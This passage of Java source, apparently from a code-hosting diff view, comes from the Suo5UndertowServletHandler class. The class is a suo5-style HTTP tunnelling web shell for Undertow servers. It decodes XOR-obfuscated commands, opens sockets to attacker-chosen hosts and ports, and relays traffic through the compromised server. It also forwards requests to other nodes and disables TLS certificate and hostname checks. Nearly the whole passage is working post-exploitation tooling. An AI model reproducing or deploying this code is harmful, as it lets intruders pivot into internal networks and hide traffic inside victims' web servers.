processDataBio(request, response);
|
||||
} else {
|
||||
processDataUnary(request, response);
|
||||
}
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
public void readFull(InputStream is, byte[] b) throws IOException, InterruptedException {
|
||||
int bufferOffset = 0;
|
||||
while (bufferOffset < b.length) {
|
||||
int readLength = b.length - bufferOffset;
|
||||
int readResult = is.read(b, bufferOffset, readLength);
|
||||
if (readResult == -1) break;
|
||||
bufferOffset += readResult;
|
||||
}
|
||||
}
|
||||
|
||||
public void tryFullDuplex(Object request, Object response) throws Exception {
|
||||
InputStream in = (InputStream) request.getClass().getMethod("getInputStream").invoke(request);
|
||||
byte[] data = new byte[32];
|
||||
readFull(in, data);
|
||||
OutputStream out = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
|
||||
out.write(data);
|
||||
out.flush();
|
||||
}
|
||||
|
||||
|
||||
private HashMap newCreate(byte s) {
|
||||
HashMap m = new HashMap();
|
||||
m.put("ac", new byte[]{0x04});
|
||||
m.put("s", new byte[]{s});
|
||||
return m;
|
||||
}
|
||||
|
||||
private HashMap newData(byte[] data) {
|
||||
HashMap m = new HashMap();
|
||||
m.put("ac", new byte[]{0x01});
|
||||
m.put("dt", data);
|
||||
return m;
|
||||
}
|
||||
|
||||
private HashMap newDel() {
|
||||
HashMap m = new HashMap();
|
||||
m.put("ac", new byte[]{0x02});
|
||||
return m;
|
||||
}
|
||||
|
||||
private HashMap newStatus(byte b) {
|
||||
HashMap m = new HashMap();
|
||||
m.put("s", new byte[]{b});
|
||||
return m;
|
||||
}
|
||||
|
||||
byte[] u32toBytes(int i) {
|
||||
byte[] result = new byte[4];
|
||||
result[0] = (byte) (i >> 24);
|
||||
result[1] = (byte) (i >> 16);
|
||||
result[2] = (byte) (i >> 8);
|
||||
result[3] = (byte) (i /*>> 0*/);
|
||||
return result;
|
||||
}
|
||||
|
||||
int bytesToU32(byte[] bytes) {
|
||||
return ((bytes[0] & 0xFF) << 24) |
|
||||
((bytes[1] & 0xFF) << 16) |
|
||||
((bytes[2] & 0xFF) << 8) |
|
||||
((bytes[3] & 0xFF) << 0);
|
||||
}
|
||||
|
||||
synchronized void put(String k, Object v) {
|
||||
ctx.put(k, v);
|
||||
}
|
||||
|
||||
synchronized Object get(String k) {
|
||||
return ctx.get(k);
|
||||
}
|
||||
|
||||
synchronized Object remove(String k) {
|
||||
return ctx.remove(k);
|
||||
}
|
||||
|
||||
byte[] copyOfRange(byte[] original, int from, int to) {
|
||||
int newLength = to - from;
|
||||
if (newLength < 0) {
|
||||
throw new IllegalArgumentException(from + " > " + to);
|
||||
}
|
||||
byte[] copy = new byte[newLength];
|
||||
int copyLength = Math.min(original.length - from, newLength);
|
||||
// can't use System.arraycopy of Arrays.copyOf, there is no system in some environment
|
||||
// System.arraycopy(original, from, copy, 0, copyLength);
|
||||
for (int i = 0; i < copyLength; i++) {
|
||||
copy[i] = original[from + i];
|
||||
}
|
||||
return copy;
|
||||
}
|
||||
|
||||
|
||||
private byte[] marshal(HashMap m) throws IOException {
|
||||
ByteArrayOutputStream buf = new ByteArrayOutputStream();
|
||||
Object[] keys = m.keySet().toArray();
|
||||
for (int i = 0; i < keys.length; i++) {
|
||||
String key = (String) keys[i];
|
||||
byte[] value = (byte[]) m.get(key);
|
||||
buf.write((byte) key.length());
|
||||
buf.write(key.getBytes());
|
||||
buf.write(u32toBytes(value.length));
|
||||
buf.write(value);
|
||||
}
|
||||
|
||||
byte[] data = buf.toByteArray();
|
||||
ByteBuffer dbuf = ByteBuffer.allocate(5 + data.length);
|
||||
dbuf.putInt(data.length);
|
||||
// xor key
|
||||
byte key = (byte) ((Math.random() * 255) + 1);
|
||||
dbuf.put(key);
|
||||
for (int i = 0; i < data.length; i++) {
|
||||
data[i] = (byte) (data[i] ^ key);
|
||||
}
|
||||
dbuf.put(data);
|
||||
return dbuf.array();
|
||||
}
|
||||
|
||||
private HashMap unmarshal(InputStream in) throws Exception {
|
||||
byte[] header = new byte[4 + 1]; // size and datatype
|
||||
readFull(in, header);
|
||||
// read full
|
||||
ByteBuffer bb = ByteBuffer.wrap(header);
|
||||
int len = bb.getInt();
|
||||
int x = bb.get();
|
||||
if (len > 1024 * 1024 * 32) {
|
||||
throw new IOException("invalid len");
|
||||
}
|
||||
byte[] bs = new byte[len];
|
||||
readFull(in, bs);
|
||||
for (int i = 0; i < bs.length; i++) {
|
||||
bs[i] = (byte) (bs[i] ^ x);
|
||||
}
|
||||
HashMap m = new HashMap();
|
||||
byte[] buf;
|
||||
for (int i = 0; i < bs.length - 1; ) {
|
||||
short kLen = bs[i];
|
||||
i += 1;
|
||||
if (i + kLen >= bs.length) {
|
||||
throw new Exception("key len error");
|
||||
}
|
||||
if (kLen < 0) {
|
||||
throw new Exception("key len error");
|
||||
}
|
||||
buf = copyOfRange(bs, i, i + kLen);
|
||||
String key = new String(buf);
|
||||
i += kLen;
|
||||
|
||||
if (i + 4 >= bs.length) {
|
||||
throw new Exception("value len error");
|
||||
}
|
||||
buf = copyOfRange(bs, i, i + 4);
|
||||
int vLen = bytesToU32(buf);
|
||||
i += 4;
|
||||
if (vLen < 0) {
|
||||
throw new Exception("value error");
|
||||
}
|
||||
|
||||
if (i + vLen > bs.length) {
|
||||
throw new Exception("value error");
|
||||
}
|
||||
byte[] value = copyOfRange(bs, i, i + vLen);
|
||||
i += vLen;
|
||||
|
||||
m.put(key, value);
|
||||
}
|
||||
return m;
|
||||
}
|
||||
|
||||
private void processDataBio(Object request, Object resp) throws Exception {
|
||||
final InputStream reqInputStream = (InputStream) request.getClass().getMethod("getInputStream").invoke(request);
|
||||
HashMap dataMap = unmarshal(reqInputStream);
|
||||
|
||||
byte[] action = (byte[]) dataMap.get("ac");
|
||||
if (action.length != 1 || action[0] != 0x00) {
|
||||
resp.getClass().getMethod("setStatus", int.class).invoke(resp, 403);
|
||||
return;
|
||||
}
|
||||
resp.getClass().getMethod("setBufferSize", int.class).invoke(resp, 512);
|
||||
final OutputStream respOutStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
|
||||
|
||||
// 0x00 create socket
|
||||
resp.getClass().getMethod("setHeader", String.class, String.class).invoke(resp, "X-Accel-Buffering", "no");
|
||||
Socket sc;
|
||||
try {
|
||||
String host = new String((byte[]) dataMap.get("h"));
|
||||
int port = Integer.parseInt(new String((byte[]) dataMap.get("p")));
|
||||
if (port == 0) {
|
||||
try {
|
||||
// Cannot convert Integer to int
|
||||
port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
|
||||
} catch (Exception e) {
|
||||
port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
|
||||
}
|
||||
}
|
||||
sc = new Socket();
|
||||
sc.connect(new InetSocketAddress(host, port), 5000);
|
||||
} catch (Exception e) {
|
||||
respOutStream.write(marshal(newStatus((byte) 0x01)));
|
||||
respOutStream.flush();
|
||||
respOutStream.close();
|
||||
return;
|
||||
}
|
||||
|
||||
respOutStream.write(marshal(newStatus((byte) 0x00)));
|
||||
respOutStream.flush();
|
||||
resp.getClass().getMethod("flushBuffer").invoke(resp);
|
||||
|
||||
final OutputStream scOutStream = sc.getOutputStream();
|
||||
final InputStream scInStream = sc.getInputStream();
|
||||
|
||||
Thread t = null;
|
||||
try {
|
||||
Suo5UndertowServletHandler p = new Suo5UndertowServletHandler(scInStream, respOutStream);
|
||||
t = new Thread(p);
|
||||
t.start();
|
||||
readReq(reqInputStream, scOutStream);
|
||||
} catch (Exception e) {
|
||||
// System.out.printf("pipe error, %s\n", e);
|
||||
} finally {
|
||||
sc.close();
|
||||
respOutStream.close();
|
||||
if (t != null) {
|
||||
t.join();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void readSocket(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws IOException {
|
||||
byte[] readBuf = new byte[1024 * 8];
|
||||
while (true) {
|
||||
int n = inputStream.read(readBuf);
|
||||
if (n <= 0) {
|
||||
break;
|
||||
}
|
||||
byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n);
|
||||
if (needMarshal) {
|
||||
dataTmp = marshal(newData(dataTmp));
|
||||
}
|
||||
outputStream.write(dataTmp);
|
||||
outputStream.flush();
|
||||
}
|
||||
}
|
||||
|
||||
private void readReq(InputStream bufInputStream, OutputStream socketOutStream) throws Exception {
|
||||
while (true) {
|
||||
HashMap dataMap;
|
||||
dataMap = unmarshal(bufInputStream);
|
||||
|
||||
byte[] actions = (byte[]) dataMap.get("ac");
|
||||
if (actions.length != 1) {
|
||||
return;
|
||||
}
|
||||
byte action = actions[0];
|
||||
if (action == 0x02) {
|
||||
socketOutStream.close();
|
||||
return;
|
||||
} else if (action == 0x01) {
|
||||
byte[] data = (byte[]) dataMap.get("dt");
|
||||
if (data.length != 0) {
|
||||
socketOutStream.write(data);
|
||||
socketOutStream.flush();
|
||||
}
|
||||
} else if (action == 0x03) {
|
||||
continue;
|
||||
} else {
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void processDataUnary(Object request, Object resp) throws
|
||||
Exception {
|
||||
InputStream is = (InputStream) request.getClass().getMethod("getInputStream").invoke(request);
|
||||
BufferedInputStream reader = new BufferedInputStream(is);
|
||||
HashMap dataMap;
|
||||
dataMap = unmarshal(reader);
|
||||
|
||||
|
||||
String clientId = new String((byte[]) dataMap.get("id"));
|
||||
byte[] actions = (byte[]) dataMap.get("ac");
|
||||
if (actions.length != 1) {
|
||||
resp.getClass().getMethod("setStatus", int.class).invoke(resp, 403);
|
||||
return;
|
||||
}
|
||||
/*
|
||||
ActionCreate byte = 0x00
|
||||
ActionData byte = 0x01
|
||||
ActionDelete byte = 0x02
|
||||
ActionHeartbeat byte = 0x03
|
||||
*/
|
||||
byte action = actions[0];
|
||||
byte[] redirectData = (byte[]) dataMap.get("r");
|
||||
boolean needRedirect = redirectData != null && redirectData.length > 0;
|
||||
String redirectUrl = "";
|
||||
if (needRedirect) {
|
||||
dataMap.remove("r");
|
||||
redirectUrl = new String(redirectData);
|
||||
needRedirect = !isLocalAddr(redirectUrl);
|
||||
}
|
||||
// load balance, send request with data to request url
|
||||
// action 0x00 need to pipe, see below
|
||||
if (needRedirect && action >= 0x01 && action <= 0x03) {
|
||||
HttpURLConnection conn = redirect(request, dataMap, redirectUrl);
|
||||
conn.disconnect();
|
||||
return;
|
||||
}
|
||||
|
||||
resp.getClass().getMethod("setBufferSize", int.class).invoke(resp, 512);
|
||||
OutputStream respOutStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
|
||||
if (action == 0x02) {
|
||||
Object o = this.get(clientId);
|
||||
if (o == null) return;
|
||||
OutputStream scOutStream = (OutputStream) o;
|
||||
scOutStream.close();
|
||||
return;
|
||||
} else if (action == 0x01) {
|
||||
Object o = this.get(clientId);
|
||||
if (o == null) {
|
||||
respOutStream.write(marshal(newDel()));
|
||||
respOutStream.flush();
|
||||
respOutStream.close();
|
||||
return;
|
||||
}
|
||||
OutputStream scOutStream = (OutputStream) o;
|
||||
byte[] data = (byte[]) dataMap.get("dt");
|
||||
if (data.length != 0) {
|
||||
scOutStream.write(data);
|
||||
scOutStream.flush();
|
||||
}
|
||||
respOutStream.close();
|
||||
return;
|
||||
} else {
|
||||
}
|
||||
|
||||
if (action != 0x00) {
|
||||
return;
|
||||
}
|
||||
// 0x00 create new tunnel
|
||||
resp.getClass().getMethod("setHeader", String.class, String.class).invoke(resp, "X-Accel-Buffering", "no");
|
||||
String host = new String((byte[]) dataMap.get("h"));
|
||||
int port = Integer.parseInt(new String((byte[]) dataMap.get("p")));
|
||||
if (port == 0) {
|
||||
try {
|
||||
port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
|
||||
} catch (Exception e) {
|
||||
port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
|
||||
}
|
||||
}
|
||||
|
||||
InputStream readFrom;
|
||||
Socket sc = null;
|
||||
HttpURLConnection conn = null;
|
||||
|
||||
if (needRedirect) {
|
||||
// pipe redirect stream and current response body
|
||||
conn = redirect(request, dataMap, redirectUrl);
|
||||
readFrom = conn.getInputStream();
|
||||
} else {
|
||||
// pipe socket stream and current response body
|
||||
try {
|
||||
sc = new Socket();
|
||||
sc.connect(new InetSocketAddress(host, port), 5000);
|
||||
readFrom = sc.getInputStream();
|
||||
this.put(clientId, sc.getOutputStream());
|
||||
respOutStream.write(marshal(newStatus((byte) 0x00)));
|
||||
respOutStream.flush();
|
||||
resp.getClass().getMethod("flushBuffer").invoke(resp);
|
||||
} catch (Exception e) {
|
||||
// System.out.printf("connect error %s\n", e);
|
||||
// e.printStackTrace();
|
||||
this.remove(clientId);
|
||||
respOutStream.write(marshal(newStatus((byte) 0x01)));
|
||||
respOutStream.flush();
|
||||
respOutStream.close();
|
||||
return;
|
||||
}
|
||||
}
|
||||
try {
|
||||
readSocket(readFrom, respOutStream, !needRedirect);
|
||||
} catch (Exception e) {
|
||||
// System.out.println("socket error " + e.toString());
|
||||
// e.printStackTrace();
|
||||
} finally {
|
||||
if (sc != null) {
|
||||
sc.close();
|
||||
}
|
||||
if (conn != null) {
|
||||
conn.disconnect();
|
||||
}
|
||||
respOutStream.close();
|
||||
this.remove(clientId);
|
||||
}
|
||||
}
|
||||
|
||||
public void run() {
|
||||
try {
|
||||
readSocket(gInStream, gOutStream, true);
|
||||
} catch (Exception e) {
|
||||
// System.out.printf("read socket error, %s\n", e);
|
||||
// e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
static HashMap collectAddr() {
|
||||
HashMap addrs = new HashMap();
|
||||
try {
|
||||
Enumeration nifs = NetworkInterface.getNetworkInterfaces();
|
||||
while (nifs.hasMoreElements()) {
|
||||
NetworkInterface nif = (NetworkInterface) nifs.nextElement();
|
||||
Enumeration addresses = nif.getInetAddresses();
|
||||
while (addresses.hasMoreElements()) {
|
||||
InetAddress addr = (InetAddress) addresses.nextElement();
|
||||
String s = addr.getHostAddress();
|
||||
if (s != null) {
|
||||
// fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4
|
||||
int ifaceIndex = s.indexOf('%');
|
||||
if (ifaceIndex != -1) {
|
||||
s = s.substring(0, ifaceIndex);
|
||||
}
|
||||
addrs.put((Object) s, (Object) Boolean.TRUE);
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch (Exception e) {
|
||||
// System.out.printf("read socket error, %s\n", e);
|
||||
// e.printStackTrace();
|
||||
}
|
||||
return addrs;
|
||||
}
|
||||
|
||||
boolean isLocalAddr(String url) throws Exception {
|
||||
String ip = (new URL(url)).getHost();
|
||||
return addrs.containsKey(ip);
|
||||
}
|
||||
|
||||
HttpURLConnection redirect(Object request, HashMap dataMap, String rUrl) throws Exception {
|
||||
String method = request.getClass().getMethod("getMethod", String.class).toString();
|
||||
URL u = new URL(rUrl);
|
||||
HttpURLConnection conn = (HttpURLConnection) u.openConnection();
|
||||
conn.setRequestMethod(method);
|
||||
try {
|
||||
// conn.setConnectTimeout(3000);
|
||||
conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)});
|
||||
// conn.setReadTimeout(0);
|
||||
conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)});
|
||||
} catch (Exception e) {
|
||||
// java1.4
|
||||
}
|
||||
conn.setDoOutput(true);
|
||||
conn.setDoInput(true);
|
||||
|
||||
// ignore ssl verify
|
||||
// ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java
|
||||
if (HttpsURLConnection.class.isInstance(conn)) {
|
||||
((HttpsURLConnection) conn).setHostnameVerifier(this);
|
||||
SSLContext sslCtx = SSLContext.getInstance("SSL");
|
||||
sslCtx.init(null, new TrustManager[]{this}, null);
|
||||
((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory());
|
||||
}
|
||||
|
||||
byte[] newBody = marshal(dataMap);
|
||||
Enumeration headers = ((Enumeration) request.getClass().getMethod("getHeaderNames").invoke(request));
|
||||
Method getHeaderMethod = request.getClass().getMethod("getHeader", String.class);
|
||||
while (headers.hasMoreElements()) {
|
||||
String k = (String) headers.nextElement();
|
||||
if (k.equals("Content-Length")) {
|
||||
conn.setRequestProperty(k, String.valueOf(newBody.length));
|
||||
continue;
|
||||
} else if (k.equals("Host")) {
|
||||
conn.setRequestProperty(k, u.getHost());
|
||||
continue;
|
||||
} else if (k.equals("Connection")) {
|
||||
conn.setRequestProperty(k, "close");
|
||||
continue;
|
||||
} else if (k.equals("Content-Encoding") || k.equals("Transfer-Encoding")) {
|
||||
continue;
|
||||
} else {
|
||||
conn.setRequestProperty(k, ((String) getHeaderMethod.invoke(request, k)));
|
||||
}
|
||||
}
|
||||
|
||||
OutputStream rout = conn.getOutputStream();
|
||||
rout.write(newBody);
|
||||
rout.flush();
|
||||
rout.close();
|
||||
conn.getResponseCode();
|
||||
return conn;
|
||||
}
|
||||
|
||||
public boolean verify(String hostname, SSLSession session) {
|
||||
return true;
|
||||
}
|
||||
|
||||
public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException {
|
||||
}
|
||||
|
||||
public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException {
|
||||
}
|
||||
|
||||
public X509Certificate[] getAcceptedIssuers() {
|
||||
return new X509Certificate[0];
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user